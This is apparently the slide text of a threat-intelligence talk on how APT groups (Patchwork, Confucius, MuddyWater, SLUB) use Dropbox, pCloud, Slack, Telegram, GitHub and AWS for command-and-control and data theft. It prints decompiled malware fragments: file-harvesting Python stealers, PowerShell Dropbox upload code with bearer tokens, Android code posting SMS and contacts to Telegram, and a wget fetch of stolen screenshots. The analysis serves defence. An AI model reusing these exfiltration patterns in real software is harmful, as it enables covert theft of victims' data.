

# Abusing third-party cloud services in targeted attacks

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### Outline

- Introduction
- General comparison of two malware infrastructures
  - Custom
  - Cloud based
- Selected APT cases
  - Presentation of the malware operation
  - Advantages and disadvantages from an attacker perspective
- Conclusion





### Introduction

- Cloud services abuse is not something new
  - "C&C-as-a-Service" presentation at VB in 2015
- This talk focuses on cloud abuse in the context of targeted attacks that we investigated
- Goals:
  - Show different real implementations of cloud abuse
  - Find how, as defenders, we can leverage this setup to our advantage





### Custom malware infrastructure

- Developed and maintained by threat actor
- Costly
  - Domain name(s), server(s) hosting, data storage, bandwidth ...
- Time consuming
  - Design, implementation and testing of the communication protocol
  - Installation and maintenance of the C&C server(s)





### Custom malware infrastructure

- Disadvantages
  - Easier to monitor/block/sinkhole/seize
  - Higher probability of flaws in the communication protocol
  - Difficult to assess the reliability in real conditions
- Advantage
  - You choose to implement whatever funny idea you like





### Cloud malware infrastructure

- Advantages
  - Developed, maintained and operated by knowledgeable third party
  - Cheaper (often free)
  - API
  - Higher reliability
  - Harder to block/monitor/seize
- Disadvantage
  - Constrained by the features the cloud services provide







# **Selected APT cases**



### **Patchwork**






Known targeted countries





- "Badnews" backdoor
  - A mix of both alternatives








Hardcoded and encoded (sub 0x01) URL addresses

```
..j.u.d.s....uid=...&u=.GetUserNameW....&04x....UNIC....?...&...=....i
uuqt;00sbx/hjuivcvtfsdpoufou/dpn0bmgsffeopcfmj0uftusp0nbtufs0ynm/ynm...iuuq
;00gffe54/dpn06281594223137742/ynm..iuuq;00xxx/xfcstt/dpn0dsfbufgffe/qiq@gf
feje>5::53...iuuqt;00cfdiftcfbvuff/xpseqsftt/dpn0...o.p.e.n....lfsofm43/e
```







Examples of encoded configuration

Feed43

You are viewing a news feed generated by Feed43 service.

To subscribe to this feed and receive news updates automatically, just add address of this page to your favorite news reader (desktop or web-based).





### asdf

[[YzlhYmM1NmJjZThiMGVhYTRkNGRhZDhkNGVlNWNmYzZjNmNhOGJjNTI0Y2Y4NDg0MjM=]]



Link: http://asdf.com

Last updated: Tue, 13 Aug 2019 05:17:49 GMT





Encryption uses XOR & ROL

```
lpPayloadDecoded_[v6++] = __ROL1__((v11 + 16 * v9) ^ 0x23, 3);
```

- Versions after November 2017 added a layer of blowfish encryption
- C&C is usually a PHP script hosted in a web server without domain name






History for testo / xml.xml

Commits on Mar 8, 2018 185.29.11.59 Add files via upload Verified f08771a rehmanlaskkr committed on Mar 8, 2018 Delete xml.xml Verified 82b3281 rehmanlaskkr committed on Mar 8, 2018 185.29.11.59 Add files via upload Verified ab56b97  $\langle \rangle$ rehmanlaskkr committed on Mar 8, 2018 Delete xml.xml 2048693 Verified  $\langle \rangle$ rehmanlaskkr committed on Mar 8, 2018 Commits on Mar 6, 2018 rp3f.strangled.net Add files via upload Verified 0136135 **(>** rehmanlaskkr committed on Mar 6, 2018









## Confucius




Known targeted countries





- "Swissknife" stealer
  - Uses Dropbox API to upload documents with selected extensions (.pdf, .doc, .docx, .ppt, .pptx, .xls, and .xlsx)







API key in decompiled code

```
KEN = 'LTY21
                                                                    SnVX'
def main():
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Desktop')
   Visit (selectedDir)
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Downloads')
   Visit (selectedDir)
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Documents')
   Visit (selectedDir)
    drives = win32api.GetLogicalDriveStrings()
    drives = drives.split('\x00')[:-1]
    for UPdrive in drives:
        selectedDir = UPdrive
        dType = win32file.GetDriveType(UPdrive)
        if dType == 2 or dType == 3 or dType == 4:
            if UPdrive not in ('A:\\', 'a:\\', 'C:\\', 'c:\\'):
                Visit (selectedDir)
```



File downloader in Python using Dropbox API

```
import dropbox
 KEN = '......
class dropbox.dropbox.Dropbox(oauth2 access token, max retries on error=4,
max retries on rate limit=None, user agent=None, session=None, headers=None, timeout=30)
 for entry in dbx.files list folder('', False, False, False).entries:
     print(entry.name)
files list folder(path, recursive=False, include_media_info=False, include_deleted=False,
include_has_explicit_shared_members=False, include_mounted_folders=True, limit=None,
shared_link=None, include_property_groups=None)
              pass
              dbx.files download to file ( 'c:\\temp\\' + entry2.name, '/' + entry.name
```

Enumerating the deleted files






Enumerating the deleted folders

DeletedMetadata(name=u'Afzaal{2C9F1032}', path lower=u'/afzaal{2c9f1032}', path display=u' DeletedMetadata(name=u'Awais{D02DB714}', path\_lower=u'/awais{d02db714}', path\_display=u'/A DeletedMetadata(name=u'Dell{42321B59}', path\_lower=u'/dell{42321b59}', path\_display=u'/Del DeletedMetadata(name=u'mohammad **dalimana**(A43A8D28)', path lower=u'/mohammad **dalimana**(a43a8d2 DeletedMetadata(name=u'Altaf**allata)**{9E5014A2}', path\_lower=u'/alta**fallata)**{9e5014a2}', path\_ DeletedMetadata(name=u'Sehr{3609E588}', path\_lower=u'/sehr{3609e588}', path\_display=u'/Seh DeletedMetadata(name=u'gggg{C47F812F}', path\_lower=u'/gggg{c47f812f}', path\_display=u'/ggg DeletedMetadata(name=u'AVASTx{1282DBA6}', path\_lower=u'/avastx{1282dba6}', path\_display=u' DeletedMetadata(name=u'AK{9E8C521F}', path lower=u'/ak{9e8c521f}', path display=u'/AK{9E8C DeletedMetadata(name=u'Amer{A27121AD}', path\_lower=u'/amer{a27121ad}', path\_display=u'/Ame DeletedMetadata(name=u'hunter{78B1B493}', path\_lower=u'/hunter{78b1b493}', path\_display=u' DeletedMetadata(name=u'Dell{A209BC60}', path lower=u'/dell{a209bc60}', path display=u'/Del DeletedMetadata(name=u'rm{8088E31B}', path\_lower=u'/rm{8088e31b}', path\_display=u'/rm{8088 DeletedMetadata(name=u'Asdaq{1E43014C}', path\_lower=u'/asdaq{1e43014c}', path\_display=u'/A DeletedMetadata(name=u'Hp{ECE16209}', path lower=u'/hp{ece16209}', path display=u'/Hp{ECE1 DeletedMetadata(name=u'hawkl{F841378A}', path\_lower=u'/hawkl{F841378a}', path\_display=u'/h DeletedMetadata(name=u'Get Started with Dropbox.pdf', path lower=u'/qet started with dropb DeletedMetadata(name=u'Altaf{F2D44F0E}', path lower=u'/altaf{f2d44f0e}', path display=u'/A



- "pCloud" stealer
  - Uses pCloud API to upload documents with selected extensions (.pdf, .doc, .docx, .ppt, .pptx, .xls, and .xlsx)







Using pCloud API to list files


# • Examples

### Usage of API

```
>>> from pcloud import PyCloud
>>> pc = PyCloud('email@example.com', 'SecretPassword')
>>> pc.listfolder(folderid=0)
```

```
pc = PyCloud('amanage Glinuxmail.org', 'QAZ1234567890')
def gad():
def countSol(coeff, start, end, rhs):
def main():
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Desktop')
    Visit (selectedDir)
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Downloads')
    Visit (selectedDir)
    selectedDir = os.path.join(os.path.join(os.path.expanduser('~')), 'Documents')
    Visit (selectedDir)
    drives = win32api.GetLogicalDriveStrings()
    drives = drives.split('\x00')[:-1]
    for UPdrive in drives:
        selectedDir = UPdrive
        dType = win32file.GetDriveType(UPdrive)
        if not dType == 2 and dType == 3:
            if dType == 4 and UPdrive not in ('A:\\', 'a:\\', 'C:\\', 'c:\\'):
                Visit (selectedDir)
            return None
```







Content from attacker's machine

	AVAST	Kaspersky	McAFee	Windows Defender
ADVD	X	X	X	X
File Uploader(rework)	Pass	Х	Pass	Pass
USBsucker	Pass	Pass	Pass	Pass
Smurf	X	X	X	X
Scrappy	X	X	Pass	Pass
Porky	Pass	Pass	Pass	Pass
DBSK	Pass	Pass	X	Pass
Winframe	X	X	X	X
pfwin	X	Pass	X	Pass
Tweety (mswin)	Pass	Pass	Pass	Pass





TRUE	1/30/2018 17:41	10 130	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 17:42	10 130	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 17:44	12 5.79	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 17:57	17. 1.10:	l doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 18:04	39 193	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 21:21	39 04	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	2/1/2018 11:18	18 3.113	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 21:20	39 123	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/31/2018 6:24	18 1.10	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/31/2018 6:53	12 3.162	2 doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/31/2018 17:55	10 ).100	doc.docx	Chrome	Windows 10	IN	TRUE
TRUE	1/30/2018 12:54	18 3.143	doc.docx	Chrome	Windows 10	PK	TRUE
TRUE	1/30/2018 12:17	11 16.23	37 doc.docx	Unknown Browser	Windows 10	PK	TRUE
TRUE	1/31/2018 6:38	39 64	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/31/2018 6:38	39 64	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/31/2018 8:06	39 6	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/31/2018 8:09	39 6	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/31/2018 18:59	39 148	doc.docx	Firefox	Windows 7	PK	TRUE
TRUE	2/1/2018 14:00	11 7.246	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	2/2/2018 5:35	12 5.91	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/30/2018 12:11	45 3.2	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/30/2018 12:12	45 3.2	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	1/31/2018 6:58	11 100	doc.docx	Chrome	Windows 7	PK	TRUE
TRUE	2/1/2018 11:16	10 1.144	4 doc.docx	Unknown Browser	Windows 7	PK	TRUE
TRUE	2/1/2018 11:17	10 1.144	4 doc.docx	Unknown Browser	Windows 7	PK	TRUE
TRUE	2/1/2018 7:54	10 42	doc.docx	Chrome	Windows 8.1	PK	TRUE
TRUE	1/30/2018 18:45	10 203	doc.docx	Unknown Browser	Windows 8.1	PK	TRUE
TRUE	1/30/2018 12:22	17 41	dan danı	Chromo	Mindque 0 1	שח	TRUE
TRUE	2/1/2010 10:55						

2/1/2018 19:55 **Note:** 


Actual served:

1 indian





"TweetyChat", backdoored Android chat application







- awsAccessKey and awsSecretKey are not hardcoded
- AWS keys are updated through Google Cloud Messaging platform (Firebase Cloud Messaging in newer versions)

### Access Keys (Access Key ID and Secret Access Key)

Access keys consist of two parts: an access key ID (for example, AKIAIOSFODNN7EXAMPLE) and a secret access key (for example, wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY). You use access keys to sign programmatic requests that you make to AWS if you

use AWS CLI commands (using the SDKs) or using AWS API operations. For more information, see Signing AWS API Requests. Like a user name and password, you must use both the access key ID and secret access key together to authenticate your requests. Manage your access keys as securely as you do your user name and password.





Google Cloud/ Firebase message receiver

```
public void onMessageReceived(String paramString, Bundle paramBundle)
 Log.d("GCMIntentService", "onMessage - from: " + paramString);
 if (paramBundle == null) {
    return:
  Context localContext = getApplicationContext();
  Bundle localBundle = normalizeExtras(localContext, paramBundle);
  PushManager.INSTANCE.handle(localContext, localBundle);
```

 Calling PutObjectRequest to "upload a new object to the specified Amazon S3 bucket"

```
String str3 = str2 + paramFile.getName();
PutObjectRequest localPutObjectRequest = new PutObjectRequest(SharedPreferenceUtil.getAwsBucket(), str3, paramFile);
```






**Device Information** File Sync Other Services Configuration Home Record Audio File Structure Backup Audio Service Data Backup Service SMS CALL LOG Service SYNC FILE STRUCTURE START AUDIO SERVICE START FILE COPY SERVICE STOP SMS CALL SERVICE Start/Stop Activity **SMS** Request SMS Mute and Sync Call Log Request STOP SYNC SMS STOP SYNC SMS STOP SYNC CALL



As usual, operators test the malware on their own devices...







# MuddyWater




Known targeted countries





Put encoded ".res" file

"CloudSTATS" backdoor





"CloudSTATS" backdoor

```
function DReadFile($TargetfilePath) {try{
    $wc = New-Object System.Net.WebClient
    $wc.Encoding=[System.Text.Encoding]::UTF8
    $arcoments = '' "neth":"' + $TangetFilePath + '"''

$wc.Headers.Add("Authorization", $authorization)

$wc.neaders.Add("Droppox-AFT-Arg", parguments)

$wc.headers.Add("User-Agent", $UserAgent);

$wc.proxy = [Net.WebRequest]::GetSystemWebProxy()

$wc.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials

$GlcDownloadString("https://content.dropboxapi.com/2/files/download")

return $true{catch{return $talse}}
```





"CloudSTATS" backdoor

```
$url = "https://content.dropboxapi.com/2/files/upload"
$wc.Encoding=[System.Text.Encoding]::Unicode
$wc.headers.Add("Authorization", $authorization)
$wc.headers.Add("User-Agent", $UserAgent)
$wc.headers.Add("User-Agent", $UserAgent)
$wc.headers.Add("Dropbox-API-Arg",'{ "path": "' + $targetfile + '", "mode": "add", "autorename": true, "mute": false }')
$wc.proxy = [Net.WebRequest]::GetSystemWebProxy()
$wc.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials
$mycontent=gc $localfile -Encoding byte
[byte[]]$data = [system.Text.Encoding]::ASCII.UploadData($url, $mycontent)
return $true}catch {return $false}}
```



Hardcoded API keys

```
$api0="Bearer MD4QYj
$api1="Bearer v7U-2k
$global:TotalApi=$api0,$api1
$global:authorization = $TotalApi[$indexapi]}
```

Check existing folder/victim

### MuddyWater – CloudSTATS

- Asynchronous C&C communication
- Files with extensions (cmd, reg, prc, res)

```
$Global:filereg=$Global:folderpath+$Global:hasname+'.reg'
$global:cmdfile=$Global:folderpath+$Global:hasname+'.cmd'
$qlobal:comandproc=$Global:folderpath+$Global:hasname+'.prc'
$global:targetreg=$Global:hasname+'.reg'
$qlobal:localfile=$Global:hasname+'.res'
$global:targetfile=$Global:hasname+'.cmd'
$global:totalcmd=$null
$qlobal:cmddeleteflag=$null
$global:allfilename=$null
$global:indexapi=0
$api0="Bearer MD4QYj1
$api1="Bearer v7U-2kF
```



### MuddyWater – CloudSTATS


.reg file

```
Microsoft Windows 7 Enterprise: :64-bit::D01 1::GGM::MAK::2 .110::20.11.2018 14:07:39
```

• .res file



Android mobile app, Telegram exfiltration







#### Making requests

All queries to the Telegram Bot API must be served over HTTPS and need to be presented in this form:

https://api.telegram.org/bot<token>/METHOD\_NAME . Like this for example:

https://api.telegram.org/bot123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11/getMe





.com.telegram.readto.client.ProcessCommand

```
public void process(int paramInt)
  switch (paramInt)
  default:
    return:
  case 55:
    Sender localSender3 = this.sender:
   StringBuilder localStringBuilder3 = new StringBuilder();
   localStringBuilder3.append("https://api.telegram.org/bot55
   localStringBuilder3.append(this.systemInfoLister.getSystemInfo())
   localSender3.send(localStringBuilder3.toString());
    return:
  case 54:
    Sender localSender2 = this.sender:
   StringBuilder localStringBuilder2 = new StringBuilder();
   localStringBuilder2.append("https://api.telegram.org/bot55
   localStringBuilder2.append(this.callLogLister.getSmartCallLog());
   localSender2.send(localStringBuilder2.toString());
    return:
  case 53:
    this.pictureLister.list screen shot();
    return;
  case 52:
    send sms();
    return:
```



Timer sending all data once a day

```
public void sendAllDataTimer()
{
  new Timer().schedule(hew SenderGeneral.1(this), OL, 86400000L);
}
```

Code for exfiltration all system information

```
private void sendAllData()
{
    try
    {
        sendSplitData(this.systemInfoLister.getSystemInfo(), "SystemInfo");
        sendSplitData(this.contactLister.getContact(), "Contact");
        sendSplitData(this.appLister.getSmartInstalledApp(), "InstalledApp");
        sendSplitData(this.callLogLister.getSmartCallLog(), "CallLog");
        sendSplitData(this.smsLister.getSmartSms(), "SMS");
        return;
}
```



Metadata of the Telegram account

```
'status': u 'creator',
'until date': None,
'user':
    username': u 'To
    'first name': u 'S'
    'is bot': False,
    language code': u 'fa'
```




### **SLUB**



Country of interest









- Malware delivered via waterholing of websites related to North Korea
- Read gist snippet for commands to execute
- ^ and \$ encapsulate active commands

#### gistfile1.txt

- 1 exec,tasklist
- 2 ^capture\$
- 3 drive, list
- 4 file,list,C:\ProgramData\update\





### SLUB v1/v2

Hardcoded Slack token

```
v14 = strcat((int)&unk_101F1C58, "Authorization: Bearer ");
v15 = strcat(v14, "xo");
v16 = strcat(v15, "x");
v17 = strcat(v16, "p-6");
v18 = strcat(v17, "
v19 = strcat(v18, "
v20 = strcat(v19, "
v21 = strcat(v20, "
v22 = strcat(v21, "
v23 = strcat(v22, "847e");
strcat(v23, "2e5a");
```

Slack token's o-auth scopes

x-oauth-scopes identify,read,post,client,apps,admin



### SLUB v1/v2

Exfiltration via file.io, link sent to Slack

```
}, {
    u 'username': u 'Slack API Tester',
    u 'text': u '*ADMIN-PC:Admin*

```C:\\Users\\Admin\\AppData\\Roaming\\Skype\\DataRv\\offline-storage-ecs.data : <a href="https://file.io/T">https://file.io/T</a>

u 'ts': u '1551251955.010200',
    u 'subtype': u 'bot_message',
    u 'type': u 'message',
    u 'bot_id': u 'BGAPRC540'

}, {
```

Simply upload a file, share the link, and after it is downloaded,

the file is completely deleted. For added security, set an expiration on the file and it is deleted within a certain amount of time, even if it was never downloaded.








- Newer version from July 2019
  - GitHub is not used anymore
  - Operator creates a Slack workspace
  - A separate channel named <user\_name>-<pc\_name> is created in the workspace for each infected machine
  - Commands to execute sent via messages pinned to a victim-specific channel
  - Victim machine reads pinned messages from its dedicated channel, parses the message, and executes the requested command










HTTPS request Check commands and send results





- Configuration update
- New token between HELLO<sup>^</sup>, WHAT<sup>^</sup> and !!! tokens





Gist revisions show activation of specific commands

```
6 ■■■■ gistfile1.txt
           @@ -3,7 +3,9 @@ capture
              drive,list
              file,list,C:\ProgramData\update\
              reg,read,HKEY_CURRENT_USER,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
           - Afile, list, C:\Program Files (x86)\Plusboard enter\db$
           + file,list,C:\Program Files (x86)\Plusboard_enter\db
              exec,copy C:\Users\USER\Desktop\*.hwp C:\Users\USER\oo
              exec, systeminfo
           - ^file,upload,C:\Program Files (x86)\Plusboard enter\ z20190204123541 a.txt$
           + file,upload,C:\Program Files (x86)\Plusboard enter\ z20190204123541 a.txt
           + ^file.upload.C:\Program Files (x86)\Plusboard enter\db\Comp DB.mdb$
           + ^file,upload,C:\Program Files (x86)\Plusboard_enter\db\data.mdb$
```



### SLUB v1/v2

 Using Slack API in Python import os from slackclient import SlackClient -645 79-64: slack token = 'xoxp-643 sc = SlackClient(slack token) print sc.api call("users.list") print sc.api call("team.info", team="TJX") print sc.api call("channels.list") print sc.api call("channels.info", channel="CGF" [S")

sprint sc.api call("channels.history", channel="CL! 4E")

File & exec operations

```
true, "messages": [{
 "client msg id": "0091f1a2-d912-4578-b0
 "type": "message",
 "text": "file, list, C:\\ProgramData",
 "user": "UH BX",
 "ts": "1560257808.000700",
 "team": "THI S",
 "pinned to": ["CK! E5"],
 "pinned info": {
"client msg id": "478a8205-aa78-4f35-k
"type": "message",
"text": "exec, dir C:\\Users\\owner\\Desktop"
"user": "UH X",
"ts": "1559633076.000200",
"team": "THK JS",
"pinned to": ["CK7 CE"],
```



### SLUB v1/v2

Screenshot upload

Screenshot download (using API key and path to the file)


```
        wget
        --no-check-certificate
        -d
        --header="Authorization: Bearer

        xoxp-64
        6-64!
        87-64(
        46-8741
        e5a"

        https://files.slack.com/files-pri/Tellow/SC-FK
        K/windows-v(
        p_administrator_2019-07-11.00_35_06.jpg
        -0

        "WINDOWS-V(
        )P Administrator_2019-07-11.00_35_06.jpg"
```





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# Conclusion



#### Conclusion

- Abusing cloud service providers is a worldwide trend
- Such services can be used for different purposes:
  - To store a reference used by the malware (C&C ...)
  - To store the stolen data
  - To store all the commands and data
- This behavior brings benefits not only to the attackers, but also to the defenders, and without the need to "hack back"







#### References

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